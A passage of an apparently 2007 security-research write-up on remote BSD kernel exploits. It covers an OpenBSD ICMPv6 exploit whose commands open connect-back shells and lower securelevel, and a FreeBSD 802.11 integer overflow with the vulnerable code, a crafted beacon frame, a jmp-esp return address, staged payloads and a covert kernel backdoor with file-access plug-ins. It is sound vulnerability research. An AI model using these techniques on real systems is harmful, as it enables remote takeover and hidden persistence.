The symbol resolver is used by all the stages to simplify portability between the stages. It compares hashes against strings in the dynsym section in the ELF header to find symbols. The initial code for the resolver was written by Crister Öberg <christer.oberg@bitsec.com> for another project. Unfortunately, the ELF header is not mapped on a fixed address on OpenBSD. But it is mapped right after the .bss section, so the Interrupt Descriptor Table (which can be obtained with the `sidt` instruction) is used as a start address when searching for the start of the header (`"\x7fELF"`). The following code, written by Joel Eriksson can be used for finding the ELF header with this method:

```
# Copyright (C) Joel Eriksson <je@bitsec.se> 2007
# Get the ELF-header mapped after .bss, can be used for symbol resolving
get_elfhdr:
      push %edi
      push %ecx
```

```
sidt -6(%esp)
mov -4(%esp), %edi
cld
xor %ecx, %ecx
dec %ecx
mov $0x464c457f, %eax
repne scasl
lea -4(%edi), %eax
pop %ecx
pop %edi
ret
```

Stage 3 commands

Stage 3 commands can easily be executed directly from within the kernel, bypassing all the user level protections. The stage 3 command starts with obtaining the current address of execution as described above to be able to restore the previous handler of the wrapped system call. The next step is to create a new process using the `fork1()` routine:

```
int
fork1(struct proc *p1, int exitsig, int flags, void *stack,
        size_t stacksize, void (*func)(void *), void *arg,
        register_t *retval);
```

From the fork1(9) manual:

```
"If arg is not NULL, it is the argument to the previous function.  It de-
faults to a pointer to the new process."
```

This means that arguments, like the address to the symbol resolver, can not be passed on to the new process (as *arg) since we would end up without the pointer to the process that we control. But we know that the address is prepended to the stage 3 command by stage 2, so we use an offset from the instruction that fetches the address to the symbol resolver. This could be hard-coded but editing the code before it is sent simplify reuse for new commands later on.

From `connect_back.S`:

```
connect_back_resolve_hash_offset:
subl    $0x41424344, %ecx
movl    (%ecx), %ecx
```

From `iact.c`:

```
/* Labels in connect_back.S */
extern uint8_t connect_back_resolve_hash_offset;
extern uint8_t connect_back_start;
uint32_t off;

...

/* Set offset to hash_resolve in connect_back */
off = (uint32_t)&connect_back_resolve_hash_offset -
      (uint32_t)&connect_back_start+2;
*((uint32_t *)&cmd->data[off+4]) = off;
```

`0x41424344` is then replaced with the offset from the start off the command to the label. Once the new process has been created, stage 2 calls the real syscall handler and returns.

The following commands are implemented in the exploit:

Connect-back

TCP connect back to given IP and port which executes /bin/sh. This command of course requires that no firewall rules are blocking the connection attempt since we try to connect from user space by running system calls from the created process.

Shell Command

This command allows for running shell commands using ICMPv6 packets. The commands are executed as /bin/sh -c "<command(s)>" from the created process. No output from the commands can be seen (the output is actually sent to the standard streams of the created process, so be careful when typing your commands). Although the exploit can be modified to send output using raw packets, it is still possible that the firewall blocks the response. This command was mainly implemented to be able to edit firewall rules from remote, making connect back possible.

Set Secure level

Some parts of the system is intended not to be controlled even as the root user at certain security levels, such as loading/unloading kernel modules, writing to /dev/kmem etc. This command allows setting the secure level to an arbitrary value.

Uninstall

The uninstall command does not run as a user land process; it just resets the icmp6_input function pointer to the original value.

References

1. http://www.coresecurity.com/index.php5?module=ContentMod&action=item&id=1703
2. http://www.openbsd.org/
3. TCP/IP Illustrated Volume 2 "The Implementation", W. Richard Stevens, Gary R. Wright

FreeBSD 802.11 Remote Integer Overflow

Vulnerability found and exploit developed by

Karl Janmar <karl.janmar@bitsec.com>

IEEE802.11 framework in FreeBSD

The IEEE802.11 system in FreeBSD in its current shape is relatively new (around 2001). The framework unifies all the handling of wireless devices.

Problems faced auditing the code

Complex link-layer protocol

IEEE802.11 has a complex link-layer protocol, as a rough metric we compare the size of some input functions.

- IEEE802.11 input function, ieee80211_input(), 437 lines
- Ethernet input function, ether_input(), 107 lines
- Internet Protocol input function, ip_input(), 469 lines

Source-code hard to read

The code itself is not written to be easily read. It contains huge recursive switch-statements, for example a 274-line recursive switch-statement in the input function. Other examples are macros that include return statements and so on.

User-controlled data

The link-layer management in IEEE802.11 is unencrypted and unauthenticated, and because the traffic is transmitted in the air it's very easy for an attacker to manipulate state.

Issues found

An issue was found in an IOCTL, this issue was the result of a logical error. The vulnerability could allow a local user-process to disclose kernel-memory.

Another more interesting issue was also found, it is in a function called by the IOCTL which retrieves the list of access-points in a scan. This list is maintained by the kernel, and is built from beacon frames received.

Here is a snippet of the code in question:

```
static int
ieee80211_ioctl_getscanresults(struct ieee80211com *ic, struct ieee80211req *ireq)
{
      union {
            struct ieee80211req_scan_result res;
            char data[512];         /* XXX shrink? */
      } u;
      struct ieee80211req_scan_result *sr = &u.res;
      struct ieee80211_node_table *nt;
      struct ieee80211_node *ni;
      int error, space;
      u_int8_t *p, *cp;
```

```
        p = ireq->i_data;
        space = ireq->i_len;
        error = 0;

        /* XXX locking */
        nt =  &ic->ic_scan;
        TAILQ_FOREACH(ni, &nt->nt_node, ni_list) {
              /* NB: skip pre-scan node state */
              if (ni->ni_chan == IEEE80211_CHAN_ANYC)
                    continue;
              get_scan_result(sr, ni); <-- calc. isr_len and other struct variables
              if (sr->isr_len > sizeof(u))
                    continue;         /* XXX */
              if (space < sr->isr_len)
                    break;
              cp = (u_int8_t *)(sr+1);
              memcpy(cp, ni->ni_essid, ni->ni_esslen); <-- copy to u
              cp += ni->ni_esslen;
              if (ni->ni_wpa_ie != NULL) {
                    memcpy(cp, ni->ni_wpa_ie, 2+ni->ni_wpa_ie[1]); <-- copy to u
                    cp += 2+ni->ni_wpa_ie[1];
              }
              if (ni->ni_wme_ie != NULL) {
                    memcpy(cp, ni->ni_wme_ie, 2+ni->ni_wme_ie[1]);    <-- copy to u
                    cp += 2+ni->ni_wme_ie[1];
              }
              error = copyout(sr, p, sr->isr_len);
              if (error)
                    break;
              p += sr->isr_len;
              space -= sr->isr_len;
        }
        ireq->i_len -= space;
        return error;
}
```

This function iterates through a list of all access-points found by the system, for every access point it create a scan-result chunk that contains all the information known about the access point. This scan-result is first created on the stack into the area of the union u, and then copied to the userland process. The scan-result contain some fixed parameters like supported speed, privacy-mode etc. Then at the end there are some variable-sized fields: SSID and optionally WPA and WME fields.

The function get_scan_result() extract these fixed parameters and calculates the size of the resulting scan-result, we are going to take a deeper look into how that size is calculated.

Here is that code:

```
static void
get_scan_result(struct ieee80211req_scan_result *sr, const struct ieee80211_node *ni)
{
	struct ieee80211com *ic = ni->ni_ic;

	memset(sr, 0, sizeof(*sr));
	sr->isr_ssid_len = ni->ni_esslen;
	if (ni->ni_wpa_ie != NULL)
		sr->isr_ie_len += 2+ni->ni_wpa_ie[1];
	if (ni->ni_wme_ie != NULL)
		sr->isr_ie_len += 2+ni->ni_wme_ie[1]; <-- Add the sum of the optional fields
	sr->isr_len = sizeof(*sr) + sr->isr_ssid_len + sr->isr_ie_len;
	sr->isr_len = roundup(sr->isr_len, sizeof(u_int32_t));
	if (ni->ni_chan != IEEE80211_CHAN_ANYC) {
		sr->isr_freq = ni->ni_chan->ic_freq;
		sr->isr_flags = ni->ni_chan->ic_flags;
	}
	……
	<uninteresting code>
	……
}
```

At the point where the two optional field's lengths are added together, there is a flaw. The struct member isr_ie_len is defined as a uint8_t, and if these two fields has a combined length of more then 253 (2+2 are added for the head of the field) the result will result in an integer overflow. This in turn causes isr_len to be less then the actual size of all these fields together. Later on in the function get_scan_results() the individual sizes of these fields are being used while doing the memcpy(), this could potentially overflow the stack-area which holds the union u.

Test our theories

Now we need to test our theories, to do this effectively we insert hard-coded values for this function into the kernel. Then enable kernel debugging in the kernel config:

```
makeoptions     DEBUG=-g
options         GDB
options         DDB # optional
options         KDB
```

Then recompile and reboot the system with the new kernel. We make sure DDB is our current debugger:

```
$ sysctl –w debug.kdb.current=ddb
```

To trigger this particular code-path we call ifconfig with the “scan” command. Wow! We panic the kernel:

```
Fatal trap 12: page fault while in kernel mode
fault virtual address   = 0x41414155
fault code              = supervisor write, page not present
instruction pointer     = 0x20:0xc06c405c
stack pointer           = 0x28:0xd0c5e938
frame pointer           = 0x28:0xd0c5eb4c
code segment            = base 0x0, limit 0xfffff, type 0x1b
                        = DPL 0, pres 1, def32 1, gran 1
processor eflags        = interrupt enabled, resume, IOPL = 0
current process         = 203 (ifconfig)
[thread pid 203 tid 100058 ]
Stopped at      ieee80211_ioctl_getscanresults+0x120:   subw   %dx,0x14(%eax)
```

Now we need to figure out what could be done with this vulnerability, could this be triggered remotely?

When investigating this we find out that the 802.1X authenticator wpa_supplicant distributed with FreeBSD calls this particular IOCTL regularly. This userland-daemon is needed for authentication to access pointers providing better encryption/authentication then plain WEP like WPA-PSK.

Test on real system

To be able to test this for real we need to be able to send raw frames. The solution was to patch BPF in NetBSD (which share most of the wireless code with FreeBSD) so it was possible to send arbitrary raw ieee802.11 link-layer frames. BPF is *BSDs raw interface to the network devices.

Before sending any bogus beacon frames we want to switch to a better debugging environment though, GDB. A serial-cable is connected to the target machine and the target is being configured to use GDB as current debugger.

In /boot/device.hints, change the flags of the serial device:

```
hint.sio.0.flags="0x80”
```

Then switch default debugger:

```
$ sysctl –w debug.kdb.current=gdb
```

For more information see:

http://www.freebsd.org/doc/en_US.ISO8859-1/books/developers-handbook/kerneldebug.html

Sending beacon of death

A beacon-frame with large SSID, WPA and WME fields is prepared and sent from the attacking machine.

Frame seen in tcpdump output:

```
16:32:33.155795 0us BSSID:cc:cc:cc:cc:cc:cc DA:ff:ff:ff:ff:ff:ff SA:cc:cc:cc:cc:cc:cc Beacon
(XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX) [1.0* 2.0* 5.5 11.0 Mbit] ESS CH: 1
0x0000:  ceef f382 c40b 0000 6400 0100 0020 5858  ........d.....XX
0x0010:  5858 5858 5858 5858 5858 5858 5858 5858  XXXXXXXXXXXXXXXX
0x0020:  5858 5858 5858 5858 5858 5858 5858 0104  XXXXXXXXXXXXXX..
0x0030:  8284 0b16 0301 01dd fc00 50f2 0141 4141  ..........P..AAA
0x0040:  4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
...
0x0120:  4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0x0130:  4141 4141 41dd fd00 50f2 0201 4141 4141  AAAAA...P...AAAA
0x0140:  4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
...
0x0220:  4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA
0x0230:  4141 4141                                AAAA
```

Wow, this resulted in a panic on the target!

GDB-session from the debugger machine:

```
[New Thread 100058]

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 100058]
0xc06c405c in ieee80211_ioctl_getscanresults (ic=0x41414141, ireq=0x41414141)
    at ../../../net80211/ieee80211_ioctl.c:1047
1047            ireq->i_len -= space;

(gdb) print ireq
$1 = (struct ieee80211req *) 0x41414141

(gdb) bt
#0  0xc06c405c in ieee80211_ioctl_getscanresults (ic=0x41414141, ireq=0x41414141)
    at ../../../net80211/ieee80211_ioctl.c:1047
#1  0x41414141 in ?? ()
#2  0x41414141 in ?? ()
#3  0x41414141 in ?? ()
#4  0x41414141 in ?? ()
#5  0x41414141 in ?? ()
#6  0x41414141 in ?? ()
```

As we see here, the frame seems to be corrupted.

```
gdb) list ieee80211_ioctl_getscanresults
1003    static int
1004    ieee80211_ioctl_getscanresults(struct ieee80211com *ic, struct ieee80211req
*ireq)
1005    {
1006            union {
1007                    struct ieee80211req_scan_result res;
1008                    char data[512];         /* XXX shrink? */
1009            } u;
1010            struct ieee80211req_scan_result *sr = &u.res;
1011            struct ieee80211_node_table *nt;
```

We want to examine how much of the union (and possibly after) we have overwritten:

```
gdb) x/150xw &u
0xd0c5e960:     0x00fd2000      0x00000000      0x58585858      0x58585858
0xd0c5e970:     0x58585858      0x58585858      0x58585858      0x58585858
0xd0c5e980:     0x58585858      0x58585858      0x5000fcdd      0x414101f2
0xd0c5e990:     0x41414141      0x41414141      0x41414141      0x41414141
...
0xd0c5eb40:     0x41414141      0x41414141      0x41414141      0x41414141
0xd0c5eb50:     0x41414141      0x41414141      0x41414141      0x41414141
0xd0c5eb60:     0x41414141      0x41414141      0x41414141      0x41414141
0xd0c5eb70:     0x41414141      0x41414141      0x41414141      0x41414141
0xd0c5eb80:     0x41414141      0xd0c5eb41      0xc063b816      0xc1509d00
0xd0c5eb90:     0xc01c69eb      0xc16eec00
...
(gdb) print $ebp
$8 = (void *) 0xd0c5eb4c
```

We clearly see that we have overwritten over and past the frame-pointer and the saved return-address.

What to use as return-address

We need to find a suitable address for our return address. Kernel stack-addresses are totally unreliable in this case, they can't be used. A better option is to return into the kernel's .text segment, to an address which contains the instruction “jmp ESP” or equivalent.

A search in the GENERIC/i386 kernel image for interesting byte sequences using a small program written by the author:

```
$ search_instr.py  -s 0x003d4518 -f 0x00043c30 -v 0xc0443c30
FreeBSD_GENERIC_i386_6.0
0xc0444797: 0xff 0xd7, call *%edi
0xc04486c4: 0xff 0xd7, call *%edi
...
0xc044c5dd: 0xff 0xd7, call *%edi
0xc044dd3d: 0xff 0xe4, jmp *%esp
0xc0450109: 0xff 0xd1, call *%ecx
...
```

When the kernel returns from the exploited function, it will continue execution on the stack right after the overwritten return-address.

Stage1 payload

The initial payload needs to reside after the overwritten return-address, the area before can't be used reliably because other access-points could potentially overwrite this when the kernel iterates through the list. The payload needs to be limited to 32 bytes, after that there is a frame which is needed when returning from the exploited function.

The task of the stage1 payload is to locate the second stage. The second stage is located in the kernel-list of access-points, in that access-points WME field (which was sent in the beacon frame). When this is found, it jumps to it.

Stage2 payload

The second stage allocates kernel memory for the backdoor and then copies backdoor code from the WPA field for the “exploiting” access-point to the allocated area, saves away the original function

pointer for the management frame handler and then replaces it with a pointer to the backdoor. When the second stage is finished it restores the frame of the function two levels down (the previous frame was corrupted by the overwrite) and sets the return result for ioctl to return an empty scan-list without errors.

Backdoor

The communication from the attacker to the backdoor is done by sending management-frames. The backdoor is called every time the victim is receiving a management-frame, the backdoor then looks for a magic number at a fixed offset and if this magic number matches it continues to process the frame as a command. If the magic number does not match it passes the frame to the original management-frame handler, in this way the ordinary function of the interface won't be interfered. The magic-number and payload is within a WPA IE field, so it's still a valid IEEE 802.11 frame.

The backdoor assumes a “bootstrap-command” as the first command since not all of the backdoor-code fits into stage 2, which simplifies the implementation of the exploit.

Backdoor commands

The backdoor handles the communication with the attacker, all the responses sent back to the attacker are sent with a probe-response frame and the payload-data is within the optional response-field of that frame. All frames are sent to/from faked MAC-addresses.

Ping backdoor

The ping command takes a 32-bit identifier as an argument and responds back with a pong-response which includes the identifier. This is used to verify the installation of the backdoor.

Upload backdoor-code

The upload command receives a portion of backdoor-code to insert in the backdoor along with and offset, this code can later be executed.

Execute backdoor-code

The execute command calls backdoor-code at a specific offset and with a variable size data-argument. The executed code can return resulting data, if any data is returned it's sent back as a response to the attacker by the backdoor.

Plug-ins

With the two primitives upload and execute, we can implement a dynamic plug-in facility. With this we can write relatively isolated backdoor functions that can be changed on-the-fly.

Fileserver plug-in

A small fileserver plug-in has been implemented, this has the ability to read files, stat files, write and create files. It does this directly at the VFS layer; no process will have those files associated. A variant of this fileserver which XOR-obfuscates the data has also been implemented. This way your filesystem won't show up in the tcpdump output. :)

Filesystem operations in kernel exploits

When doing FS operations in kernel exploits, do it as the kernel does it. Extract the essential calls needed for the operations; there is a lot of extra stuff the kernel does that you don't want, like handling filedescriptors.

The outlines for open and read example:

- Initialize a *struct nameidata* , the way NDINIT() macro does, this involves setting the filename.
- Make sure the current threads process has a working directory: td->td_proc->p_fd->fd_cdir = rootvnode;
- Try lookup vnode with *vn_open()*
- Do the actual read with *vn_rdwr()*
- Unlock and close vnode using *vn_close() and VOP_UNLOCK_APV()*

Some vnode operations are messy in assembly, disassembling the kernel could help getting a better understanding of the code in question.

Final words

The IEEE802.11 framework in *BSD is a huge work and deserve credits, it creates **one** interface for **all** wireless devices. This is a very nice thing, especially if you look at the situation of other operating-systems.

…though it might need some cleaning up and security auditing.

References

Mattew S. Gast; *802.11 Wireless Networks: The Definitive Guide (O'Reilly Networking)*

ISBN: 0596001835

Marshall K. McKusick, Keith Bostic, Michael J. Karels, John S. Quarterman; *The Design and Implementation of the 4.4BSD Operating System*

ISBN: 0-201-54979-4

More resources about kernel exploitation

Attacking the Core: Kernel Exploiting Notes
http://www.phrack.org/issues.html?issue=64&id=6

Remote Windows Kernel Exploitation - Step into the Ring 0 (Whitepaper)
http://research.eeye.com/html/Papers/download/StepIntoTheRing.pdf

Remote Windows Kernel Exploitation - Step into the Ring 0
http://www.blackhat.com/presentations/bh-usa-05/bh-us-05-jack-update.pdf

Windows Local Kernel Exploitation
http://www.packetstormsecurity.org/hitb04/hitb04-sk-chong.pdf

Exploiting 802.11 Wireless Driver Vulnerabilities on Windows
http://www.uninformed.org/?v=6&a=2&t=sumry

Exploiting Windows Device Drivers
http://www.piotrbania.com/all/articles/ewdd.pdf

Smashing The Kernel Stack For Fun And Profit
http://www.phrack.org/archives/60/p60-0x06.txt

Exploiting Kernel Buffer Overflows FreeBSD Style
http://www.groar.org/expl/advanced/fbsdjail.txt

Kernel Level Vulnerabilities
http://www.comms.scitech.susx.ac.uk/fft/security/kernvuln-1.0.2.pdf

Unix Kernel Auditing
http://pacsec.jp/psj05/psj05-vansprundel-en.pdf

The /proc/pid/mem problem
http://ilja.netric.org/files/kernelhacking/procpidmem.pdf

Win32 Device Drivers Communication Vulnerabilities
http://artofhacking.com/tucops/hack/WINDOWS/live/aoh_win32dcv.htm

Windows Kernel-mode Payload Fundamentals
http://www.uninformed.org/?v=3&a=4&t=sumry

How To Exploit Windows Kernel Memory Pool
http://xcon.xfocus.org/xcon2005/archives/2005/Xcon2005_SoBeIt.pdf